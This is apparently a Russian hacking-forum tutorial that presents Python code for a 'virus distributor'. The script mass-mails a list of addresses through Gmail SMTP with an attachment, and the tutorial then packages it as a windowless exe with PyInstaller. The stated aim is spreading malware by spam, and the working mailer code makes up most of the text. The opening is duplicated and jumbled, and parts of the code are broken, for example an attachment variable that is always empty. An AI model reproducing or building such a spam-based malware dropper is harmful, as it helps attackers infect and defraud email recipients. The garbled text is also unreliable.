Всем привет! В этой статье мы с вами напишем "E-mail Distributor" для компьютера. Наша программа будет распространять вирус , путем многочисленного спама на почты.(Название сам придумал xD)
Спойлер: скрипт будет работать с GMAIL.
Изначально мы подключим нужные нам модули. Модуль - написанные коды/функции,которые подключаются к нашей программе.
=========================================
=========================================
Зададим необходимые нам переменные.
=========================================
Основная часть кода.
=========================================
Сообщаем, что работа скрипта окончена
=========================================
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i |путь к иконке|, аргумент,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i |путь к иконке| |путь к файлу .py|.
Пароль: vlmi.top
Благодярю за прочтение данной статьи, удачи!
Спойлер: скрипт будет работать с GMAIL.
Установка Python
Переходим на официальный сайт Python'a - ЖМЯКНИ. Скачиваем последнюю версию и устанавливаем ее. Изначально мы подключим нужные нам модули. Модуль - написанные коды/функции,которые подключаются к нашей программе.
=========================================
Python:
import smtplib, os, email, mimetypes
from email.mime.text import MIMEText
from email.mime.multipart import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
from email.header import Header
from base64 import encodebytes
Зададим необходимые нам переменные.
Python:
email = input("Email(GMAIL): ") # Считываем у пользователя e-mail
password = input("Password: ") # Считываем пароль от этой самой почты у пользователя, так ка для доступа к SMTP он необходим(
subject = input("Subject: ") # Пользователь выбирает тему сообщения
text = input("Text: ") # Пользователь набирает текст
n = input("Do u want to attach a file?(Y/N)").upper() # Спрашиваем, хочет ли пользователь прикрепить файл
if n == 'Y': # Если ответ - "Да", то просим ввести путь к файлу
path = input("Path: ") # Считываем у пользователя путь к файлу
else: # Иначе мы ничего не делаем
path = ''
fileName = path # Почему бы и нет xD
n = 0 # Номер строки, с которой мы начнем отсчет
f = open(fileName, 'r') # Открываем файл с базой почт
Основная часть кода.
Python:
for i, line in enumerate(f): |
line = line.replace("\n", "") |= # Запускаем цикл по перебору каждой строки/почты в файле
if i >= n: |
try: # Пробуем сделать "что-то"
mail_from = email # Отправитель
mail_to = line # Получатель
mail_text = text # Текст письма
mail_subj = subject # Заголовок письма
mail_coding = 'windows-1251' # Кодировка
attach_file = '' # Прикрепляемый файл
# Параметры SMTP-сервера
smtp_server = "smtp.gmail.com" # Сервер для подключения
smtp_port = 587 # Порт для подключения
smtp_user = email # Пользователь smtp
smtp_pwd = password # Пароль smtp
# Дальше всё и так понятно, буду писать кратенько)
# Формирование сообщения
multi_msg = MIMEMultipart()
multi_msg['From'] = Header(mail_from, mail_coding)
multi_msg['To'] = Header(mail_to, mail_coding)
multi_msg['Subject'] = Header(mail_subj, mail_coding)
msg = MIMEText(mail_text.encode('cp1251'), 'plain', mail_coding)
msg.set_charset(mail_coding)
multi_msg.attach(msg)
# Присоединяем файл
if(os.path.exists(attach_file) and os.path.isfile(attach_file)):
file = open(attach_file, 'rb')
attachment = MIMEBase('application', "octet-stream")
attachment.set_payload(file.read())
email.encoders.encode_base64(attachment)
file.close()
only_name_attach = Header(os.path.basename(attach_file),mail_coding);
attachment.add_header('Content-Disposition','attachment; filename="%s"' % only_name_attach)
multi_msg.attach(attachment)
else:
if(attach_file.lstrip() != ""):
print("Файл для атача не найден - " + attach_file)
# Отправка
smtp = smtplib.SMTP(smtp_server, smtp_port)
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
smtp.login(smtp_user, smtp_pwd)
smtp.sendmail(mail_from, mail_to, multi_msg.as_string())
smtp.quit()
except: # Если будет ошибка(почты не существует), то мы забьем и продолжим выполнять скрипт)
pass
Сообщаем, что работа скрипта окончена
Python:
print("[+]FINISH")
input()
Компилим в exe
Для этих целей существует утилита - PyInstaller. Однако ее прийдется установить, команда для CMD: pip install pyinstaller. У PyInstaller'a есть аргументы, вот основные из них:1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i |путь к иконке|, аргумент,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i |путь к иконке| |путь к файлу .py|.
Заключение
Скачать исходники можно по ссылке - ЖМЯКНИПароль: vlmi.top
Благодярю за прочтение данной статьи, удачи!